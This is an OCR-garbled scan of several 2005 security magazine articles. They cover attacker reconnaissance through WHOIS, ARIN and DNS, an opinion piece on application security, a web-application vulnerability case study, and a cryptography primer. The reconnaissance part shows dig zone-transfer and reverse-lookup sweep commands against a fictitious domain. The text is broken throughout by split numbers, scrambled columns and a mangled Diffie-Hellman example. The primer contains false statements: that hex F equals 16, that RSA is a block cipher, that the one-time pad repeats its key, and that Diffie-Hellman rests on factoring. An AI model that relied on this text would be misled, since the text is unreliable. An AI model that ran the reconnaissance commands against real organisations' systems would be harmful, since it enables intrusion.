ineffective if the organization provides its phone 
numbers on its web page, or other public informa- 
tion source. 

4) All three DNS servers lie within the same net- 
work and the IP address of each is known from 
the WHOIS information. Because they are all lo- 
cated in the same range, the domain is probably 
highly vulnerable to a denial of service attack 
against perhaps even a single network. Best prac- 
tices call for deploying DNS servers in separate 
logical and preferably geographically separate 
networks. There is no way the IP addresses can be 
masked however and the attacker can use these 
to obtain even more information through ARIN, as 
discussed next. 

Securing ARIN Information 

The American Registry for Internet Numbers 
(ARIN) is responsible for distributing and main- 
taining the listing of IP addresses in use by vari- 
ous organizations in America and around the 
world. ARIN provides its information publicly with 
the intent that any abuse (attacks, spamming, 
etc.) observed by the abused organization will 
have a means of contacting the abusing organiza- 
tion. 

Unfortunately, this works both ways and an at- 
tacker can use ARIN information to scope out ad- 
ditional information about his targets, in a manner 
similar to WHOIS. In fact, ARIN provides a WHOIS 
interface to IP address ownership lookups (as op- 
posed to domain ownership lookups). 

ARIN lookups can be performed using a WHOIS 
client, or from ARIN's website. 



www.insecuremag.com 



35 



Continuing the example from the previous page, 
the following information is fictitious, but repre- 
sentative of the information that would be col- 
lected using the command "whois 
192.168.33.228" on Linux: 

$ whois 192.168.33.228 
[Querying whois.arin.net] 
[whois . arin . net ] 
Sprint SPRINTLINK-BLKS 
(NET-192-0-0-0-1) 

192.0.0.0 - 192.255.255.255 
NONOTREAL INC SPRINTLINK 
(NET-192-168-33-0-1) 



192.168.33.0 



192.168.33.255 



# ARIN WHOIS database, last updated 
2005-05-07 19:10 

# Enter ? for additional hints on 
searching ARIN ' s WHOIS database. 

From this information, we can see that NoNotReal 
is served by Sprint as their ISP. It's possible that 
NoNotReal has their own BGP AS number, which is 
a piece of routing information that is uniquely 
identifying an organization when an organization 
may control a large portion of IP addresses. The 
AS number is also public information stored by 
ARIN. Not all organizations, especially not small- 
midsize organizations will have their own AS num- 
bers. 

To obtain the AS number, a top-tier traceroute 
needs to be used, such as the one provided by 
Level3 Communications. Using the "Traceroute 
from Level3 sites" tool for the IP addresses col- 
lected from the WHOIS record, route information 
might look like this: 

1 so-4-0-0 . bbrl . Chicago 1 . Level3 . net 
(4.68.112.189) 0 msec 
[items deleted] 

6 192.168.33.228 (192.168.33.228) [AS1234 
{NONOTREAL} ] 8 msec 

Now that NoNotReal's AS number has been identi- 
fied as 1 234, it can be referenced from ARIN's 
WHOIS server using the following command: 



PostalCode: 20171 

Country: US 

ASNumber: 12 34 

ASName : NONOTREAL 

ASHandle: AS1234 

Comment: This example is fictitious. 

RegDate: 1998-01-31 

Updated: 2003-12-13 

TechHandle: NNRI 

TechName: Jones, Bob 

TechPhone: +1-570-411-5523 

TechEmail: bob. jones@nonotreal.com 



OrgAbuseHandle : 
OrgAbuseName : 
OrgAbusePhone : 
OrgAbuseEmail : 

OrgTechHandle : 
OrgTechName : 
OrgTechPhone : 
OrgTechEmail : 



NNRI 

Jones, Bob 

+1-570-411-5523 

bob. jones@nonotreal.com 

NNRI 

Jones , Bob 

+1-570-411-5523 

bob . jones@nonotreal . com 



# ARIN WHOIS database, last updated 2005- 
05-07 19:10 

# Enter ? for additional hints on search- 
ing ARIN's WHOIS database. 

Here, we've obtained similar information as that 
available from the WHOIS database. All of the 
same reasoning used above is also applicable 
here. Note that because this information is main- 
tained separately from the WHOIS information, it 
may not always be identical and therefore can be 
another source for this sort of information to the 
attacker. Consider the e-mail addressing scheme 
described above. If the attacker found another e- 
mail address in this information also listed in 
first.last@nonotreal.com format, it further sup- 
ports the hypothesis that all addresses of 
NoNotReal are in the first.last@nonotreal.com 
format. 

Securing DNS Information 

Full DNS security is beyond the scope of this arti- 
cle, however, the most likely sources of public in- 
formation leakage, such as zone transfers and re- 
verse lookups will be covered. 



$ whois -h whois.arin.net a 1234 
[Querying whois.arin.net] 
[whois . arin . net ] 



OrgName : 
OrgID: 
Address : 
City: 

StateProv: 



NONOTREAL , INC . 
NNRI 

5432 Broad St. 

Herndon 

VA 



Given a domain name, there are two approaches 
as to how an attacker might enumerate the hosts 
within the domain, zone transfers and reverse 
lookups. Zone transfers are the most complete 
method but these can generally be secured to 
prevent unauthorized disclosures. Reverse look- 
ups can disclose a subset of zone information, but 
generally cannot be controlled. 
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A zone transfer can be attempted using the following command on Linux: 



$ dig §192.168.33.228 nonotreal.com axfr 



; «» DiG 9.2.4rc6 «» @ 192. 168.33 
; ; global options : printcmd 
nonotreal.com. 86400 IN 

root . cr editcard . nonotreal . com . 2004100401 
nonotreal.com. 86400 IN 

nonotreal.com. 86400 IN 

creditcard.nonotreal.com. 86400 IN 
nonotreal.com. 86400 IN 

root . cr editcard . nonotreal . com . 2004100401 
Query time: 2 msec 

SERVER: 192 . 168 . 33 . 228#53 ( 192 . 168 . 33 . 228 ) 
WHEN: Sun May 8 14:03:49 2005 
XFR size: 6 records 



228 nonotreal.com axfr 



SOA creditcard.nonotreal.com. 
10800 3600 604800 86400 
NS creditcard.nonotreal.com. 
MX 20 creditcard.nonotreal.com. 
A 192.168.33.12 

SOA creditcard.nonotreal.com. 
10800 3600 604800 86400 



COLLECTING WHOIS INFORMATION IS A RELATIVELY SIMPLE TASK 



An unsuccessful attempt looks like the following: 

$ dig §192.168.33.229 nonotreal.com axfr 

; «» DiG 9.2.4rc6 «» @ 192 . 168 . 33 . 229 

nonotreal.com axfr 

; ; global options : printcmd 

; Transfer failed. 

Note that in the first attempt a large portion of 
data was extracted, but in the second attempt 
(targeted at a different server) no data was ob- 
tained. This is often the case if different DNS 
servers are maintained by separate organizations 
or procedures (say the company and its ISP). The 
data in and of itself may be relatively insignificant. 
However, the hostnames themselves may reveal 
interesting information, such as "creditcard" in 
this case, which may indicate a server that proc- 
esses or stores credit card information. 

In the case of the second server, which did not 
allow zone transfers, similar information may still 
be obtained via reverse DNS lookups. In this case, 
the command on Linux might look like: 



[items truncated] 

Host 253 . 33 . 168 . 192 . in-addr . arpa not 
found: 3(NXD0MAIN) 

Host 254 . 33 . 168 . 192 . in-addr . arpa not 
found: 3(NXD0MAIN) 

Here, the IP address of 1 92.1 68.33.1 2 has still 
been identified as belonging to the "creditcard" 
server. Although DNS configuration in the exam- 
ples above may have been a problem, in both in- 
stances the true problem was the naming conven- 
tion used to name the server. Thus, NoNotReal Inc. 
would be well-served to update its DNS configura- 
tion standards to include an appropriate host 
naming convention. 

Conclusion 

This article has covered areas of public informa- 
tion that attackers can usurp to extract useful in- 
formation about an organization and how organi- 
zations can manage these required information 
leakage sources to continue to serve their true 
purpose, yet limit the risk exposure to the organi- 
zation. 



$ for i in ~seq 1 254" 
192. 168. 33. $i; done 



do host 



Host 1 . 33 . 168 . 192 . in-addr . arpa not found: 
3 ( NXDOMAIN ) 

Host 2 . 33 . 168 . 192 . in-addr . arpa not found: 
3 ( NXDOMAIN ) 
[items truncated] 

12 . 33 . 168 . 192 . in-addr . arpa domain name 
pointer creditcard . nonotreal . com. 



Specifically, the information required by domain 
registration, AS delegation and DNS services were 
identified as potential channels for information 
leakage. Adequate awareness of the information 
distributed by these channels is imperative to an 
organization's first line of defense against mali- 
cious attacks. 



William Lynch is Senior Consultant for Computer Task Group's Information Security Services Practice. 
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[Application security; the noveau blame game 

By Melisa LaBancz-Bleasdale 



Application security is a complex subject that fuels a never- 
ending debate. Clearly it's a multi-dimensional issue with vari- 
ous levels of responsibility, accountability and quality control 
attached to it. Yet between developers, senior management, IT, 
and consumers, we have yet to reach an agreeable solution. 



Application security is also a vagary. It 
means a number of things to all sorts of 
people. My personal definition is 'an appli- 
cation that works right and is impervious 
to outside influence'. As a concept, it's 
even more elusive - a huge mix of execu- 
tive mandates, developer expertise, accep- 
tance criteria, quality control initiatives and 
consumer needs. Yet with all that we know 
we still can't seem to get past all the finger 
pointing. We have accepted that our appli- 
cations don't work right and probably 
never will. 

An illegal fortune is being made on our 
general inability to develop them right the 
first time - theft of personal data, intellec- 
tual property, tangible financial assets, not 
to mention the dissolution of corporate 
reputations. 



We have become a culture that expects 
our applications to have critical flaws and 
so we anxiously await the latest patch. 

"There is a market for software that's de- 
veloped quickly without a lot of attention 
to security, but I think there's a bigger 
market for software to have a lot more se- 
curity than what we're currently building," 
says Jeff Williams, CEO of Aspect Security 
and Chairman of OWASP. 

To the rescue are numerous consultancies, 
vendors and technologies that have risen 
from the ashes of what used to be the 
somewhat dependable software market. 
Where application development has failed, 
these folks provide remediation solutions, 
process assessments and an overall ap- 
proach to the "quick fix and endless patch" 
problem. 
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"If I look at applications in general, people 
are worried about cost and delivery. 'How 
can I get it cheap?' which is why we out- 
source right? Reduce cost and get it out 
fast. Doing it fast sacrifices security as a 
requirement. Our view of the world is that 
you define a set of security parameters 
that are important to you and we come in 
and assess the vulnerabilities that are po- 
tential violations of that defined security 
standard. We think this is the most prag- 
matic approach for solving the problem 
after the fact since the company didn't do 
it in the first place," explains Bill Leavy, VP 
Marketing for Parasoft. 

So why is it that we've taken the path of 
least resistance? Do we accept insecure 
applications as a byproduct of develop- 
ment? 

"I don't think it's a case of accepting secu- 
rity flaws," says Alex Smolen, Software Se- 
curity Engineer for Parasoft. " I think that 
it's more of a general ignorance about se- 
curity issues. There are so many ways to 
exploit applications and new ways are be- 



ing discovered every day. It's not a con- 
scious effort to ignore security but that 
developers need to be educated about 
where security problems originate and how 
they can be remediated." 

The blogosphere reveals yet another view- 
point - that of the internal developer. Many 
feel that security is a poorly defined term 
and a largely unattainable concept. With no 
guidance from their management and no 
acceptable criteria in place, the mandate to 
build "secure applications" is basically un- 
realistic. The problem multiplies when you 
add outsourcing to the mix. Development 
thrives on people in foreign lands produc- 
ing millions of lines of code. 

You could insert a meaningful corporate 
policy here, however... 

"If it's required that security be in the 
code, than whomever is writing the code 
needs to understand what secure code is. 
They need to understand how to write it 
and why," states Smolen. 



IF YOU DON'T KNOW WHAT YOU ARE DOING, YOU'RE GOING TO CREATE 

VULNERABILITIES 



The subject of outsourcing is a whole 
separate firestorm altogether but one that 
deserves consideration. If we depend on 
the cost-effectiveness of low dollar labor, 
with the promise of extremely fast turn- 
around, we sacrifice a number of critical 
amenities - security being the first and un- 
arguably most important of these. 

"If you don't know what you're doing, 
you're going to create vulnerabilities. 
There's a knowledge-level issue. A lot of 
the outsourcers are junior level people that 
don't have the set of expertise needed. If 
there are no defined policies and the de- 
velopers are junior level people who don't 
understand how to write secure code, 
you're going to have a problem," notes 
Leavy. 

For the internal developer, it isn't practical 
to go back through the outsourced code to 
find and fix security vulnerabilities. In fact, 



in larger applications, outsource-built or 
not, it isn't even feasible. 

"In a huge organization such as the gov- 
ernment, there are so many applications 
fielded and running, that you can't possibly 
go back and look at all that code because 
it's just too big. There's not enough budget 
to get close to it. We've got this huge in- 
frastructure of code that we've built and 
we don't even really know if there are se- 
curity vulnerabilities in it. We can't even 
keep up with the new code that we're 
building every day. Very few of the devel- 
opers we're talking about understand the 
security vulnerabilities in question. Most of 
them have heard of buffer overflows but 
don't have a great idea of how to avoid 
them. Many have never heard of common 
web app flaws like SQL injection and cross- 
site scripting, much less know how to get 
the mechanisms right - access control, 
authentication, input validation and so on," 
explains Williams. 
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So it's not just a case of ignorance in re- 
gards to fixing coding flaws, or not being 
told that they need to be fixed, it's also a 
matter of being physically able to fix them 
all. 

"Certainly there's the issue of education 
but part of the issue is that there hasn't 
been a whole lot of automation or the hope 
of getting it. Ten years ago, there used to 
be a person that could keep millions of 
lines of code in their head and knew what 
was going on with it. Today, because of the 
difference in dynamics, there's not just 
one person involved or one document, so 
it's a combination of developer education, 
security criteria, and independent base- 
lines for acceptance testing," notes Mike 
Armistead, Founder of Fortify. 

With all that's changing in the world, how 
can anyone remain up to date on all of the 
issues affecting application security? Is it 
even reasonable to expect developers to 
have that mind spring of knowledge? What 
about changing legislation? Who can keep 
track of all that's going on with compli- 
ance? "The argument that developers can't 
keep on top of security issues due to the 
endless need for education and changes in 
security regulations is just a load of bull," 
counters Williams. "The regulations that 
have been written aren't anywhere near 
specific enough to cause that kind of prob- 
lem. HIPAA, GLBA and Sarbanes-Oxley all 
wave their hands at security but they don't 
say anything meaningful in regards to real 
vulnerabilities in real software." 

Other considerations include intellectual 
ownership of the applications in question. 
What can you do about code that doesn't 
belong to you, or that you have no legal 
right to navigate? How can you repair the 
vulnerabilities these applications unleash 
on your final products? 

"Often times companies are implementing 
software-based solutions for which they 
don't own the intellectual property," says 
Vikram Desais, CEO of Kavado. 



"There are two ways you can work around 
vulnerabilities, one is by coding around the 
issues - and that's an option if you in fact 
own the intellectual property and have the 
ability to do so. The other is to use a third 
party tool, even if you do own the intellec- 
tual property, because it buys you time to 
figure out a more permanent fix or rely on 
the tool itself to remediate the problems. 
You at least have a choice that way." 

"I think you have to partner with a third 
party vendor because of the complexity of 
software today and it's relative size. A hu- 
man can't do it all. Today, the organizations 
that care about application security have 
been doing manual source code audits and 
spending a good deal of money on it. Yet 
manual audits are only a snapshot of what 
needs to be done," explains Armistead. 

We seem to have embraced our network 
vulnerabilities, why are we having such a 
hard time admitting our application level 
security faults? We don't really need a ver- 
sion 1 2.5 of Amazing Firewall X, but we 
appear more willing to continually upgrade 
what already works rather than face the 
deeper challenges head-on. Who is going 
to take charge of the application security 
issue? 

"Security guys realize that they're not the 
people to own application security. The 
network guys don't own software so it's 
not them either. It's really the software de- 
velopment team. Yet it's something that 
you need to weave into the overall process 
of how software is built or maintained or 
accepted, or else you're not going to be 
able to fix it," says Armistead, "My per- 
spective is that if you're not solving the 
problems, whether you like it or not you've 
got software on the edge and you've got to 
fix that." 

Once we all agree to disagree we may be able to 
work toward meaningful change. For now how- 
ever, the debate rages on. As we wait with antici- 
pation for the latest and greatest patch, we are 
ever more susceptible to application level vulner- 
abilities. 



Melisa LaBancz-BIeasdale is a San Francisco area communications consultant and strategist specializing in the 
security industry. Her focus is on emerging and innovative security technology, current events and market 
concerns. Visit www.superheated.com to find out more about Melisa. 
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Companies from all industries are moving their customer relation- 
ship management, supply chain, and procurement applications 
from private EDI networks to the Internet in order to improve 
service and to save money and time. These applications can drive 
efficiencies in managing manufacturing, payroll, purchasing, and 
personnel by more easily moving money and assets between cor- 
porations, their partners, and customers. These applications are 
business-critical. 



Change can be bad 

The most popular applications for web- 
based business applications - from trusted 
companies providing off-the-shelf solu- 
tions - have serious security flaws that can 
be easily leveraged by economically moti- 
vated hackers. 

Within 30 days of going live on the Web, 
companies are finding that significant vul- 
nerabilities in these applications have ex- 
posed their most valuable data and assets 
to hacking threats. What's more, the tradi- 
tional security measures they have imple- 
mented, including OS and network layer 
security, don't protect against these types 
of attacks. Theft and manipulation of cor- 
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porate and customer data can have a sig- 
nificant impact on the business - leading to 
regulatory or legal action, revenue or 
profit impact, and loss of confidence from 
customers and business partners. 

A case example 

A large manufacturing company discov- 
ered significant vulnerabilities during a se- 
curity audit of its online procurement ap- 
plication, an off-the-shelf solution from 
one of the leading ERP vendors. 

Tight schedules and opportunity costs 
made it impractical to hold the deployment 
until the vendor could issue security 
patches. 
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The procurement application is mission 
critical for the company and is used by 
thousands of individuals worldwide includ- 
ing suppliers, customers, and internal 
groups. It provides access to some of the 
company's most valuable data, including 
inventory information, pricing, product 
availability, and supplier contracts. The 
vulnerabilities in the application exposed 
the company to potential data theft by 
hackers seeking personal financial gain or 
insider information for corporate espio- 
nage. 

The vulnerabilities identified included: 

1 ) Parameter Tampering 
Web applications often rely on hidden or 
fixed fields - such as URL parameters or 
hidden values in forms - to maintain infor- 
mation about the client session. In the case 
of the procurement application, a hacker 
could manipulate parameters in the critical 
business logic of the application, such as 
those used in the login forms, password 
reset page, and other transactional forms, 
in order to pass a malicious character 
string to the back-end infrastructure. In 
doing so, they could force the application 
to respond with confidential information, 
including pricing data. 



2) Cross-site scripting 

The application was also vulnerable to 
cross-site scripting attacks, which could be 
used by a hacker inside the corporate 
network to hijack the session of another 
user. As an example, the hacker could 
embed an attack script within an order 
form, and upload this to a site accessible 
by other users. Following this, any time a 
user submits the form the malicious code 
is executed, infecting the user's account 
with the attached payload (backdoor at- 
tack) or sending login credentials over the 
web to the attacker. The user remains un- 
aware, since the transaction request is still 
submitted to the application. 

3) SQL injection deflection latency 

As is often the case, SQL injection attacks 
were addressed in the application itself. 
Special characters, such as single quotes 
(which can preface a SQL injection attack), 
were not allowed. The issue? We simulated 
an attack by entering a single quote in a 
login name field, and found that rejections 
took up to two minutes each. When run- 
ning four of these "attack" instances si- 
multaneously, CPU usage increased dra- 
matically. It would be relatively easy for 
anyone to wage a DOS attack on this appli- 
cation. 



Approve or reject input before it reaches the application server. 



Here are a few key points to keep in mind 
as your organization evaluates its options 
with respect to securing critical Web appli- 
cations, whether custom or pre-packaged. 

1 ) While validating input by rejecting spe- 
cial or unescaped characters such as 
brackets and parenthesis provides some 
protection, it is far from foolproof. 

Organizations need to go a step further by 
adopting a positive security model - that is, 
disallow requests that don't conform to the 
defined allowable behavior. Some exam- 
ples include restricting input in a pricing 
field to numeric characters and capping 
the length. 

2) Approve or reject input before it 
reaches the application server. Handling it 



in advance not only keeps CPU cycles off 
the back-end server, it also allows for a 
gateway approach (stopping bad requests 
at the point of entry) rather than a more 
complex, application-based approach. 

3) Hackers can circumvent any client-side 
input validation by saving and modifying a 
form before submitting it. Therefore, an 
additional check on the inputs is required. 
For this, data objects such as tokens can 
be issued to validate the data after it has 
been submitted. 

4) Have specific points in your architecture 
where data are validated - for example in 
middleware or through an application fire- 
wall. This way, you'll have fewer places to 
tighten up when necessary. 
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Of course, making significant changes to 
the application isn't always straightfor- 
ward. If you are using an off-the-shelf so- 
lution, what you can change may be de- 
pendent upon how much control you have 
or on when the application vendor is willing 
to issue a patch (if at all). 

If the vendor does attempt to address the 
vulnerabilities in the application, it may not 
be well executed. Further, change man- 
agement processes within an organization 



can often delay a deployment for weeks or 
months. The key is not to assume that 
your application vendor has built security 
in to your application, as chances are they 
have not done it effectively. The browser is 
ubiquitous, making it an ideal tool for a 
hacker. 

Be sure you are aware of the vulnerabilities 
and options for mitigating them before you 
make your most valuable data and assets 
broadly available through the Web. 



Jeff Scheidel is a Technical Director at Kavado Inc. (www.kavado.com) 
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Cryptography is increasingly becoming part of our everyday lives. 
1 28-bit this and 256-bit that. Websites, bank transmissions, wire- 
less connections — everything is becoming encrypted. Each sec- 
tion in this article will be divided into two parts — the technical 
section, and a section that is lighter on the lingo. 



Important 

In many countries, certain cryptographical 
algorithms or algorithms meeting or ex- 
ceeding a specific key length may be out- 
lawed. Also, certain cryptographical algo- 
rithms or algorithms meeting or exceeding 
a specific key length may not be export- 
able. It is highly suggested that you check 
into your local laws before downloading 
any sort of encryption software. 

Jargon 

In order to fully take understand some of 
the information, one must be familiar with 
the common lingo — the talk of the trade. 
Many of the you will not need to read this, 
but in the event you do, here's a list of 
some of the terms that will be used: 

• Cleartext (also called Plaintext) - This is 
any data in its unencrypted form. It can be 



read by human (or computer) with no spe- 
cial effort needed. 

• Encryption - The process of making 
data unreadable except by the intended 
recipient of that information. 

• Ciphertext - The data after it has been 
encrypted. It is the intent of all cryptogra- 
phy, since the beginning of time, to make it 
impossible (or very, very hard) for anyone 
to be able to extract the original data 
(plaintext) from this — unless that person 
is the intended recipient. 

• Decryption - The process of transform- 
ing ciphertext back into plaintext. This 
should only be possible for the intended 
recipient of the information. 

• Key - A secret letter, phrase, number, 
etc., that only the sender and recipient 
(sometimes only the recipient) have access 
to. The "key" is required to decrypt the 
information. 
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• Bit - A bit is a single 0 or 1 on a com- 
puter. All information transmitted, re- 
ceived, processed, and stored on comput- 
ers are in "binary" form — meaning they 
are represented by O's and 1 's on your 
computer (which of course produces 
meaningful results). The number system 
for bits is 'binary'. This is just a number 
system consisting of 0 - 1 , like our stan- 
dard number system of 0 - 9. Every place 
increases by a power of two (our standard 
system increases by a power of 1 0) — 

1 1 01 1 0 is equivalent to 54. It should be 
noted that while the places are in the same 
order (i.e. 100 = 4, 001 = 1), bits are read 
from left to right. In 1 1 01 0001 1 1 00, the 
first bit is 1 , the last bit is 0. 

• Hexadecimal - Another number system, 
with the symbols 0-F, F being equivalent to 
1 6. Every place is a power of 1 6. These 
numbers are very commonly prefixed by 
"Ox" to note that they are hexadecimal. 
0x1 FC8 is equivalent to 81 36. Each hex 
digit represents four bits. 

• Byte - A group of 8 bits or 2 hexadeci- 
mal characters with a maximum value of 
255 (11111111 =255). 

• Cryptanalysis - This is the act of analyz- 
ing ciphertext, and attempting to derive 



the plaintext from that ciphertext, without 
having the key. 

• Symmetric Cryptography - Cryptogra- 
phy in which the encryption and decryp- 
tion keys are the same. These are some- 
times referred to as "secret-key" algo- 
rithms. In these situations, it is very impor- 
tant that the key transfer is secure. 
Should Some Bad Guy™ come across the 
key, he could potentially decrypt the ci- 
phertext. 

• Asymmetric Cryptography - Cryptogra- 
phy in which the encryption and decryp- 
tion keys are different. This is very often 
called "public-key" cryptography. The 
name comes from the fact that the en- 
cryption key can be freely distributed — to 
anyone. This is because that the encryp- 
tion key cannot be used to decrypt 
already-encrypted data. It can only en- 
crypt data. Since the decryption key does 
not need to be distributed, there is a lesser 
chance of communications being inter- 
cepted and decrypted. 

• Brute Force Attack - A common crypto- 
graphic attack in which every key possibil- 
ity is tested until the correct one is found. 



Since as far back as one could imagine, there has been an obvious need 

to protect information from prying eyes 



Classical Cryptography 

Since as far back as one could imagine, 
there has been an obvious need to protect 
information from prying eyes. Whether you 
are a Roman senator or CIA agent — there 
are reasons to protect information from 
your enemies or thieves. One of the first 
encryption schemes invented comes from 
ancient Rome, by the means of Julius Cae- 
sar. The cipher is relatively simple, and 
most of us used it when we were children, 
to write "secret codes" to our friends. 
When using the Caesar cipher, the key is 
simply a number. While it is most com- 
monly used with alpha-specific (alphabeti- 
cal characters only) messages, it can be 
used with alphanumeric messages (simply 
by extending the alphabet to include any 



symbols one needs; ex. a alphanumerical 
alphabet might be 36 characters long for 
26 letters and 10 numbers [0-9]). 

The process of encryption and decryption 
for the Caesar cipher are inverses of each 
other; to encrypt, the letters are shifted 
one direction a certain number of places, 
and to decrypt, the letters are shifted in 
the other direction a certain number of 
places. The number of places to shift is 
what makes this a cryptographic algo- 
rithm. Since one would have to either know 
the number of places to shift the charac- 
ters (the Key) or the key would have to be 
brute-forced. Since the number of possible 
keys is only as large as the alphabet, this 
algorithm is very computationally insecure 
(and could even be brute-forced by hand 
with relatively little effort). 
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algorithm has a few known weaknesses, 
the worst being known-plaintext attacks. 



The first step in understanding cryptogra- 
phy is to understanding the difference be- 
tween a stream and a block cipher. Under- 
standably, a block cipher encrypts data on 
block at a time. Each block must be exactly 
a fixed length long — not longer, not 
shorter. A stream cipher on the other 
hand, can be fed data bit by bit, and will be 
encrypted as such — bit by bit. It is for this 
reason that block-oriented ciphers are best 
for encrypting concrete sets of data — 
which does not change or is not being ac- 
tively fed (streams). 

Stream ciphers, on the other hand, are bet- 
ter for live feeds. Since they take up more 
CPU time, they are also better for less- 
bandwidth-intensive applications. Several 
cryptographic algorithms of both varieties 
exist: 

Block Ciphers 

• AES (Rijndael) - The "Advanced Encryp- 
tion Standard", Rijndael (rain«dahl) is 
probably the most-widely-used algorithm 
as of this articles writing. It is used as the 
default algorithm for many applications, 
such as PGP and SSH. 

• Blowfish - My personal favorite, con- 
jured up from the labyrinthine folds of 
Bruce Schneier's brain. This beast is fast, 
and has a key length of 1 28, 256, or a 
massive 448 bits (for those of you that are 
really paranoid, like me). 

• DES - DES is the big daddy of all ciphers. 
One of the oldest and (at one point) widest- 
used ciphers in computing history, this is 
what most have heard of, if any. I will go a 
bit more in-depth on this cipher below. 

• RSA - RSA (Rivest-Shamir-Adelman) is 
the most commonly-used asymmetric algo- 
rithm today. It is owned and licensed by a 
company of the same name. Unlike sym- 
metric algorithms which are very secure 
with a key length of 256 bits, asymmetric 
algorithms require more for the same 
amount of security. Bruce Schneier, for 
example, recommends keys of at least 

1 024 bits. It is worth noting that the RSA 



• Twofish - Another of Schneier's crea- 
tions, Twofish is the default symmetric al- 
gorithm for GPG. Published in June 1 998, 
it has no known weaknesses, and has a 
variable-length key up to 256 bits. 

Stream Ciphers 

• RC4 - RC4 is one of the most widely- 
used stream ciphers in existence. It is more 
realistically a PRNG (Pseudo-Random- 
Number-Generator), and the output of that 
is XOR'ed with the data to be encrypted. 

Because the data is not truly random (and 
will always be the same), it is of the utmost 
importance to never use the same RC4 key 
twice. 

• One-Time-Pad (OTP) - The one-time-pad 
(also known as the Vernam cipher) is, 
technically speaking, the most secure algo- 
rithm possible. It works like this: your key 
gets XOR'ed with the data over until you 
run out of key, then it starts back at the 
beginning of the key. 

For this reason, the key can be of any 
length, and the algorithm can never be ex- 
posed to having vulnerabilities. The 
strength of the algorithm lies in the fact 
that one can use insanely large keys (usu- 
ally the same length as the data to be en- 
crypted), and that the keys are (should be) 
only used once. This is also its major weak- 
ness. If they are used more than once, 
their security is desperately compromised. 

• Block ciphers in CFB/OFB mode - Block 
ciphers in Cipher Feedback (CFB) or Out- 
put Feedback (OFB) mode are effectively 
transformed into stream ciphers (these are 
discussed in-depth below). 

It is for this reason that there are few 
dedicated stream ciphers — they simply 
aren't required. Most, if not all, block ci- 
phers can be set up in CFB or OFB mode 
(since the only difference is what the algo- 
rithm is given as input). 
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The DES Algorithm 

In July of 1 977, the NIST declared IBM's 
LUCIFER algorithm to be the official Data 
Encryption Standard. It had been reviewed 
by the NSA, and slightly modified before 
release (leading to the occasional rumor of 
a backdoor in the algorithm). This was 
done in order to protect the U.S. govern- 
ment's data while being stored or in transit 
(digitally). The algorithm was accepted 
quickly, and most notably by banking insti- 
tutions, as a mean to protect information 
about transfers and accounts (among 
other things) in 1 980. 

For its time, DES was a very powerful and 
computationally secure. This is no longer 
true, as something that is DES-encrypted 
can be cracked in under a few days (or po- 
tentially hours, given a large-enough dis- 
tribute network). This is not due to fallacies 
in the algorithm, but the small key size. 
DES operates with a 64-bit key — only 56 
bits of which are used. This provides 256 
key possibilities, and it was once an impos- 
sibility to try all of them in order to find the 
correct key. Comparatively speaking, the 
AES (Advanced Encryption Standard) algo- 
rithm has a key of 1 28 bits — 21 28 possi- 
bilities (and optionally 256 bits). DES works 
by permuting (rearranging) bits in both the 
key and the data, according to several ta- 
bles. The algorithm is much more complex 
than one may first think. An extremely de- 
tailed walk-through of the algorithm may 
be found at www.aci.net/kalliste/des.htm. 

There are several variations as to how DES 
may be implemented (these apply to al- 
most all algorithms). The one that might 
sound the most familiar is CBC — Cipher 
Block Chaining mode. This adds a slight bit 
of security against crypt analytical attacks, 
but not against brute force attacks. It 
works by XOR'ing a plaintext block that is 
to be encrypted with the ciphertext block 
before it (the first block would be XOR'ed 
with a 64-bit value called the Initialization 
Vector, IV). In the event that data is cor- 
rupted or modified in-transit, only the 
corrupted/modified block and the block 
directly after that are effected. 



CFB (Cipher Feedback) mode works simi- 
larly to CBC. An arbitrary 64-bit value 
passes through what is known as the Shift 
Register, and is then fed into the DES algo- 
rithm — the output of which is XOR'ed with 
the plaintext to create the ciphertext. All 
subsequent encryptions of the data will 
work like CBC — using the previous cipher- 
text block — but the plaintext never passes 
through the DES algorithm. Only after be- 
ing XOR'ed does it go through the algo- 
rithm, and that value is only used to XOR 
the next block. What really shines about 
this is that data without a size that is a per- 
fect multiple of 8 bytes can be encrypted. 

OFB (Output Feedback) is another mode 
that is very much like CFB, except that ci- 
phertext from the output of DES is fed 
back into the Shift Register, instead of the 
ciphertext. 

Not too long ago, Triple DES came into 
widespread use — it has a 1 68-bit key (1 92 
bits in reality, but only 1 68 of those are 
used), and is thus much more secure. The 
workings of DES and TDES are exactly the 
same — except that TDES encrypts the 
data three times, with three different keys 
(in effect encrypting the plaintext once, 
then ciphertext twice more). The major 
shortcoming with TDES is that since DES 
encryption must be performed three times, 
it also takes thrice as long. The same 
modes may be used with DES (and almost 
all algorithms, I would assume) for added 
security. However, since DES is slow, I 
would personally suggest using AES or 
Blowf ish for your data-protection needs. 

Diffie-Hellman Key Exchanges 

Source: postdiIuvian.org/-seven/diffie.htmI 

All of these encryption algorithms are fine 
and wonderful — but they are all key 
based. This created a very large dilemma 
for quite some time. Keys had to be se- 
curely transmitted, and one couldn't just 
encrypt the key because then one would 
need yet another key. Two men by the 
names of Diffie and Hellman (surprise, 
surprise). The algorithm is based on the 
computational complexity of factoring 
large numbers to create a shared secret (a 
number). 
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Sticking to the classic example, suppose 
two people, Alice and Bob, wish to have 
some number (perhaps a cryptographical 
key, eh?) that they both know, but nobody 
else knows (referred to as a "shared se- 
cret"). This is the purpose of the DH algo- 
rithm. First, they must decide on a p and g 
value, p is a prime number larger than two, 
and g is a number smaller than p. These 
are both public, and could be posted eve- 
rywhere in the world, and not compromise 
the security of the algorithm (or their 
shared secret). The algorithm is relatively 
easy to write out (compared to DES), so I 
will show an example here. Let's suppose 
that 

P = 3i 
0 = 8 

Alice and Bob will each randomly choose a 
number that is less than p-i. Let's call Ali- 
ce's number a, and Bob's number b. Let 

a = 17 
b = 3 

Each of them generates a number (let Ali- 
ce's number bex, and Bob's number be y) 
using the following algorithm: 

x = g a modulo p = 2 
y = g b modulo p = 16 

These numbers, x and y, are called "public 
keys". Public keys are freely distributable 
for all the world to see, and it will not com- 
promise the security of the algorithm (thus 
the name "public"). Finally, each party cal- 
culates the shared value, z. 

z = ([g x modp]) y modp = ([g v modp]* mod 
p) = 2 

In this particular example, z = 2. In real- 
world uses, p, g, a, and b would all be 
much, much larger numbers — hundreds of 
digits long each. The security of the algo- 
rithm lies in the fact that if a computer (or 
many, many computers) were to try to get 
the secret z, it would need to discover a or 
b. Since these are secret values they are 
never transmitted, and if they are, the se- 
curity of the secret z may be compro- 
mised. In order to find a or b, intense fac- 



toring would need to be done — which 
would take nearly all of eternity, even with 
advanced algorithms and super-fast dis- 
tributed networks of computers. 

Cryptographic Hashes 

The point of conventional cryptography is 
